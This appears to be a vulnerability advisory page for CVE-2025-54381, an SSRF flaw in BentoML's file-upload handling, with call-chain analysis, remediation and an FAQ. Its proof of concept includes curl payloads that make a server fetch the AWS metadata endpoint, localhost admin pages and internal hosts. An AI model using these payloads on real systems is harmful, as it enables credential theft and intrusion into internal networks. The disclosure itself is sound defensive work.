CVE-2025-54381: BentoML is Vulnerable to an SSRF Attack Through File Upload Processing

Published Jul 29, 2025
·
Updated

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation): 1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters 2. MultipartSerde.parserequest() in src/bentomlimpl/serde.py:202 processes the request 3. form = await request.form() parses multipart data using Starlette 4. For file-type fields: value = [await self.ensurefile(v) for v in form.getlist(k)] at line 209 5. MultipartSerde.ensurefile() called at lines 186-200 with user-controlled string URL 6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation): 1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipartfields 2. JSONSerde.parserequest() in src/bentomlimpl/serde.py:157 processes the request 3. body = await request.body() extracts request body 4. Condition check: if issubclass(cls, IORootModel) and cls.multipartfields: at line 164 5. Weak validation: if ishttpurl(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme) 6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service: python from pathlib import Path import bentoml

@bentoml.service class ImageProcessor: @bentoml.api def processimage(self, image: Path) -> str: return f"Processed image: {image}"

Deploy and exploit: bash Start service (binds to 0.0.0.0:3000 by default) bentoml serve service.py:ImageProcessor

SSRF Attack 1 - Access AWS metadata curl -X POST http://target:3000/processimage \ -F 'image=http://169.254.169.254/latest/meta-data/'

SSRF Attack 2 - Internal service enumeration curl -X POST http://target:3000/processimage \ -F 'image=http://localhost:8080/admin'

SSRF Attack 3 - Internal network scanning curl -X POST http://target:3000/processimage \ -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact - Access AWS/GCP/Azure cloud metadata services for credential theft - Enumerate and interact with internal HTTP services and APIs - Bypass firewall restrictions to reach internal network resources - Perform network reconnaissance from the server's perspective - Retrieve sensitive information disclosed in HTTP response data - Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing ishttpurl() function should be enhanced to include allowlist validation rather than just scheme checking.

Other sources

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.

MITRE

Affected Software

2 affected componentsFixes available
pip/bentoml>=1.4.0<1.4.19
1.4.19
BentoML BentoML>=1.4.0<1.4.19

Event History

Jul 29, 2025
Advisory Published
via GitHub·07:24 PM
Data Sourced
via GitHub·07:24 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·10:11 PM
Data Sourced
via MITRE·10:11 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-54381?

CVE-2025-54381 is classified as a critical vulnerability due to its ability to allow arbitrary HTTP requests from the server.

2

How do I fix CVE-2025-54381?

To fix CVE-2025-54381, update bentoml to version 1.4.19 or later.

3

What types of attacks can CVE-2025-54381 facilitate?

CVE-2025-54381 can facilitate server-side request forgery (SSRF) attacks, allowing remote attackers to target internal resources.

4

In which affected software does CVE-2025-54381 exist?

CVE-2025-54381 exists in bentoml versions from 1.4.0 to 1.4.19.

5

What impact does CVE-2025-54381 have on affected systems?

CVE-2025-54381 can lead to unauthorized access and data leakage from internal services.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203